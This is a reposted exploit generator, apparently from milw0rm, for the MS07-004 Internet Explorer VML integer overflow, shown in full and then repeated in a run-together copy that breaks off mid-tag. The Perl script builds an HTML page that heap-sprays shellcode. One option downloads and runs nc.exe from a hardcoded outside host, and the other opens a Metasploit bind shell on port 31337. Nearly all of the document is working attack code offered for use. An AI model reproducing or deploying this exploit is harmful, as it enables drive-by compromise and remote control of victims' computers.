MS Internet Explorer VML Download and Execute Exploit (MS07-004生成器) 's

2017年4月27日04:25:01评论319 views字数 11891阅读39分38秒阅读模式

摘要

来源：milw0rm.com
#(c) pang0 // www.tcbilisim.org
#bug found3d by LifeAsaGeek
#thx => o.g. / chaos / sakkure / stansar / xoron
#MS07-004 VML integer overflow exploit
$html = "laz.html";
print "(c) pang0 // www.tcbilisim.org/nbug found3d by LifeAsaGeek/nMS07-004 VML integer overflow exploit/nusage: perl $0 <shell> <opt>/n",
"shell => -b bind(31337)/n-d down.exec if selc. -d u must a down addr. /n",
"exam: perl $0 -b/nexam2: perl $0 -d http://blah.com/nc.exe/n" and exit if !$ARGV[0];
#down exec
$down =
"/xEB/x54/x8B/x75/x3C/x8B/x74/x35/x78/x03/xF5/x56/x8B/x76/x20/x03".
"/xF5/x33/xC9/x49/x41/xAD/x33/xDB/x36/x0F/xBE/x14/x28/x38/xF2/x74".
"/x08/xC1/xCB/x0D/x03/xDA/x40/xEB/xEF/x3B/xDF/x75/xE7/x5E/x8B/x5E".
"/x24/x03/xDD/x66/x8B/x0C/x4B/x8B/x5E/x1C/x03/xDD/x8B/x04/x8B/x03".
"/xC5/xC3/x75/x72/x6C/x6D/x6F/x6E/x2E/x64/x6C/x6C/x00/x43/x3A/x5C".
"/x55/x2e/x65/x78/x65/x00/x33/xC0/x64/x03/x40/x30/x78/x0C/x8B/x40".
"/x0C/x8B/x70/x1C/xAD/x8B/x40/x08/xEB/x09/x8B/x40/x34/x8D/x40/x7C".
"/x8B/x40/x3C/x95/xBF/x8E/x4E/x0E/xEC/xE8/x84/xFF/xFF/xFF/x83/xEC".
"/x04/x83/x2C/x24/x3C/xFF/xD0/x95/x50/xBF/x36/x1A/x2F/x70/xE8/x6F".
"/xFF/xFF/xFF/x8B/x54/x24/xFC/x8D/x52/xBA/x33/xDB/x53/x53/x52/xEB".
"/x24/x53/xFF/xD0/x5D/xBF/x98/xFE/x8A/x0E/xE8/x53/xFF/xFF/xFF/x83".
"/xEC/x04/x83/x2C/x24/x62/xFF/xD0/xBF/x7E/xD8/xE2/x73/xE8/x40/xFF".
"/xFF/xFF/x52/xFF/xD0/xE8/xD7/xFF/xFF/xFF".
"$url";
#metasploit 31337 bind shell
$bind =
"/x29/xc9/x83/xe9/xb0/xd9/xee/xd9/x74/x24/xf4/x5b/x81/x73/x13/x09".
"/x7c/xda/x38/x83/xeb/xfc/xe2/xf4/xf5/x16/x31/x75/xe1/x85/x25/xc7".
"/xf6/x1c/x51/x54/x2d/x58/x51/x7d/x35/xf7/xa6/x3d/x71/x7d/x35/xb3".
"/x46/x64/x51/x67/x29/x7d/x31/x71/x82/x48/x51/x39/xe7/x4d/x1a/xa1".
"/xa5/xf8/x1a/x4c/x0e/xbd/x10/x35/x08/xbe/x31/xcc/x32/x28/xfe/x10".
"/x7c/x99/x51/x67/x2d/x7d/x31/x5e/x82/x70/x91/xb3/x56/x60/xdb/xd3".
"/x0a/x50/x51/xb1/x65/x58/xc6/x59/xca/x4d/x01/x5c/x82/x3f/xea/xb3".
"/x49/x70/x51/x48/x15/xd1/x51/x78/x01/x22/xb2/xb6/x47/x72/x36/x68".
"/xf6/xaa/xbc/x6b/x6f/x14/xe9/x0a/x61/x0b/xa9/x0a/x56/x28/x25/xe8".
"/x61/xb7/x37/xc4/x32/x2c/x25/xee/x56/xf5/x3f/x5e/x88/x91/xd2/x3a".
"/x5c/x16/xd8/xc7/xd9/x14/x03/x31/xfc/xd1/x8d/xc7/xdf/x2f/x89/x6b".
"/x5a/x2f/x99/x6b/x4a/x2f/x25/xe8/x6f/x14/xa0/x51/x6f/x2f/x53/xd9".
"/x9c/x14/x7e/x22/x79/xbb/x8d/xc7/xdf/x16/xca/x69/x5c/x83/x0a/x50".
"/xad/xd1/xf4/xd1/x5e/x83/x0c/x6b/x5c/x83/x0a/x50/xec/x35/x5c/x71".
"/x5e/x83/x0c/x68/x5d/x28/x8f/xc7/xd9/xef/xb2/xdf/x70/xba/xa3/x6f".
"/xf6/xaa/x8f/xc7/xd9/x1a/xb0/x5c/x6f/x14/xb9/x55/x80/x99/xb0/x68".
"/x50/x55/x16/xb1/xee/x16/x9e/xb1/xeb/x4d/x1a/xcb/xa3/x82/x98/x15".
"/xf7/x3e/xf6/xab/x84/x06/xe2/x93/xa2/xd7/xb2/x4a/xf7/xcf/xcc/xc7".
"/x7c/x38/x25/xee/x52/x2b/x88/x69/x58/x2d/xb0/x39/x58/x2d/x8f/x69".
"/xf6/xac/xb2/x95/xd0/x79/x14/x6b/xf6/xaa/xb0/xc7/xf6/x4b/x25/xe8".
"/x82/x2b/x26/xbb/xcd/x18/x25/xee/x5b/x83/x0a/x50/xf9/xf6/xde/x67".
"/x5a/x83/x0c/xc7/xd9/x7c/xda/x38";
if ($ARGV[0] eq '-d'){
$shlaz = $down;$url = $ARGV[1];$url = "http://pang0.by.ru/wget/nc.exe";
print "u must start http:// or ftp:///n" and exit if !($url =~ /http|ftp/);
}
$shlaz = $bind if $ARGV[0] eq '-b';
#citation to metasploit
sub dongu {
my $data = shift;
my $mode = shift() || 'LE';
my $code = '';

my $idx = 0;

if (length($data) % 2 != 0) {
$data .= substr($data, -1, 1);
}

while ($idx < length($data) - 1) {
my $c1 = ord(substr($data, $idx, 1));
my $c2 = ord(substr($data, $idx+1, 1));
if ($mode eq 'LE') {
$code .= sprintf('%%u%.2x%.2x', $c2, $c1);
} else {
$code .= sprintf('%%u%.2x%.2x', $c1, $c2);
}
$idx += 2;
}

return $code;
}
$sh3llz = dongu($shlaz);
#_
$body = <<BODY;
<html xmlns:v="urn:schemas-microsoft-com:vml">

<head>
<object id="VMLRender"
classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
</object>
<style>
v//:* { behavior: url(#VMLRender); }
</style>
</head>

<body>

<SCRIPT language="javascript">
shellcode =
unescape("%u9090%u9090$sh3llz");

bigblock = unescape("%u0505%u0505");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<350;i++) memory[i] = block + shellcode;

</script>

<v:rect style='width:120pt;height:80pt' fillcolor="red" >
<v:recolorinfo recolorstate="t" numcolors="97612895">

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v/recolorinfo>
</html>
BODY
open H,">$html" or die $! and exit;
print H $body;

来源：milw0rm.com

#(c) pang0 // www.tcbilisim.org #bug found3d by LifeAsaGeek #thx => o.g. / chaos / sakkure / stansar / xoron #MS07-004 VML integer overflow exploit $html = "laz.html"; print "(c) pang0 // www.tcbilisim.org/nbug found3d by LifeAsaGeek/nMS07-004 VML integer overflow exploit/nusage: perl $0 <shell> <opt>/n", "shell => -b bind(31337)/n-d down.exec if selc. -d u must a down addr. /n", "exam: perl $0 -b/nexam2: perl $0 -d http://blah.com/nc.exe/n" and exit if !$ARGV[0]; #down exec $down = "/xEB/x54/x8B/x75/x3C/x8B/x74/x35/x78/x03/xF5/x56/x8B/x76/x20/x03". "/xF5/x33/xC9/x49/x41/xAD/x33/xDB/x36/x0F/xBE/x14/x28/x38/xF2/x74". "/x08/xC1/xCB/x0D/x03/xDA/x40/xEB/xEF/x3B/xDF/x75/xE7/x5E/x8B/x5E". "/x24/x03/xDD/x66/x8B/x0C/x4B/x8B/x5E/x1C/x03/xDD/x8B/x04/x8B/x03". "/xC5/xC3/x75/x72/x6C/x6D/x6F/x6E/x2E/x64/x6C/x6C/x00/x43/x3A/x5C". "/x55/x2e/x65/x78/x65/x00/x33/xC0/x64/x03/x40/x30/x78/x0C/x8B/x40". "/x0C/x8B/x70/x1C/xAD/x8B/x40/x08/xEB/x09/x8B/x40/x34/x8D/x40/x7C". "/x8B/x40/x3C/x95/xBF/x8E/x4E/x0E/xEC/xE8/x84/xFF/xFF/xFF/x83/xEC". "/x04/x83/x2C/x24/x3C/xFF/xD0/x95/x50/xBF/x36/x1A/x2F/x70/xE8/x6F". "/xFF/xFF/xFF/x8B/x54/x24/xFC/x8D/x52/xBA/x33/xDB/x53/x53/x52/xEB". "/x24/x53/xFF/xD0/x5D/xBF/x98/xFE/x8A/x0E/xE8/x53/xFF/xFF/xFF/x83". "/xEC/x04/x83/x2C/x24/x62/xFF/xD0/xBF/x7E/xD8/xE2/x73/xE8/x40/xFF". "/xFF/xFF/x52/xFF/xD0/xE8/xD7/xFF/xFF/xFF". "$url"; #metasploit 31337 bind shell $bind = "/x29/xc9/x83/xe9/xb0/xd9/xee/xd9/x74/x24/xf4/x5b/x81/x73/x13/x09". "/x7c/xda/x38/x83/xeb/xfc/xe2/xf4/xf5/x16/x31/x75/xe1/x85/x25/xc7". "/xf6/x1c/x51/x54/x2d/x58/x51/x7d/x35/xf7/xa6/x3d/x71/x7d/x35/xb3". "/x46/x64/x51/x67/x29/x7d/x31/x71/x82/x48/x51/x39/xe7/x4d/x1a/xa1". "/xa5/xf8/x1a/x4c/x0e/xbd/x10/x35/x08/xbe/x31/xcc/x32/x28/xfe/x10". "/x7c/x99/x51/x67/x2d/x7d/x31/x5e/x82/x70/x91/xb3/x56/x60/xdb/xd3". "/x0a/x50/x51/xb1/x65/x58/xc6/x59/xca/x4d/x01/x5c/x82/x3f/xea/xb3". "/x49/x70/x51/x48/x15/xd1/x51/x78/x01/x22/xb2/xb6/x47/x72/x36/x68". "/xf6/xaa/xbc/x6b/x6f/x14/xe9/x0a/x61/x0b/xa9/x0a/x56/x28/x25/xe8". "/x61/xb7/x37/xc4/x32/x2c/x25/xee/x56/xf5/x3f/x5e/x88/x91/xd2/x3a". "/x5c/x16/xd8/xc7/xd9/x14/x03/x31/xfc/xd1/x8d/xc7/xdf/x2f/x89/x6b". "/x5a/x2f/x99/x6b/x4a/x2f/x25/xe8/x6f/x14/xa0/x51/x6f/x2f/x53/xd9". "/x9c/x14/x7e/x22/x79/xbb/x8d/xc7/xdf/x16/xca/x69/x5c/x83/x0a/x50". "/xad/xd1/xf4/xd1/x5e/x83/x0c/x6b/x5c/x83/x0a/x50/xec/x35/x5c/x71". "/x5e/x83/x0c/x68/x5d/x28/x8f/xc7/xd9/xef/xb2/xdf/x70/xba/xa3/x6f". "/xf6/xaa/x8f/xc7/xd9/x1a/xb0/x5c/x6f/x14/xb9/x55/x80/x99/xb0/x68". "/x50/x55/x16/xb1/xee/x16/x9e/xb1/xeb/x4d/x1a/xcb/xa3/x82/x98/x15". "/xf7/x3e/xf6/xab/x84/x06/xe2/x93/xa2/xd7/xb2/x4a/xf7/xcf/xcc/xc7". "/x7c/x38/x25/xee/x52/x2b/x88/x69/x58/x2d/xb0/x39/x58/x2d/x8f/x69". "/xf6/xac/xb2/x95/xd0/x79/x14/x6b/xf6/xaa/xb0/xc7/xf6/x4b/x25/xe8". "/x82/x2b/x26/xbb/xcd/x18/x25/xee/x5b/x83/x0a/x50/xf9/xf6/xde/x67". "/x5a/x83/x0c/xc7/xd9/x7c/xda/x38"; if ($ARGV[0] eq '-d'){ $shlaz = $down;$url = $ARGV[1];$url = "http://pang0.by.ru/wget/nc.exe"; print "u must start http:// or ftp:///n" and exit if !($url =~ /http|ftp/); } $shlaz = $bind if $ARGV[0] eq '-b'; #citation to metasploit sub dongu { my $data = shift; my $mode = shift() || 'LE'; my $code = '';


        my $idx = 0;
        if (length($data) % 2 != 0) {
                $data .= substr($data, -1, 1);
        }
        while ($idx < length($data) - 1) {
                my $c1 = ord(substr($data, $idx, 1));
                my $c2 = ord(substr($data, $idx+1, 1));
                if ($mode eq 'LE') {
                        $code .= sprintf('%%u%.2x%.2x', $c2, $c1);
                } else {
                        $code .= sprintf('%%u%.2x%.2x', $c1, $c2);
                }
                $idx += 2;
        }
        return $code;
}
$sh3llz = dongu($shlaz);
#_
$body = <<BODY;
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<object id="VMLRender"
classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
</object>
<style>
v//:* { behavior: url(#VMLRender); }
</style>
</head>
<body>
<SCRIPT language="javascript">
shellcode =
unescape("%u9090%u9090$sh3llz");
bigblock = unescape("%u0505%u0505");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<350;i++) memory[i] = block + shellcode;
</script>
<v:rect style='width:120pt;height:80pt' fillcolor="red" >
<v:recolorinfo recolorstate="t" numcolors="97612895">

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry 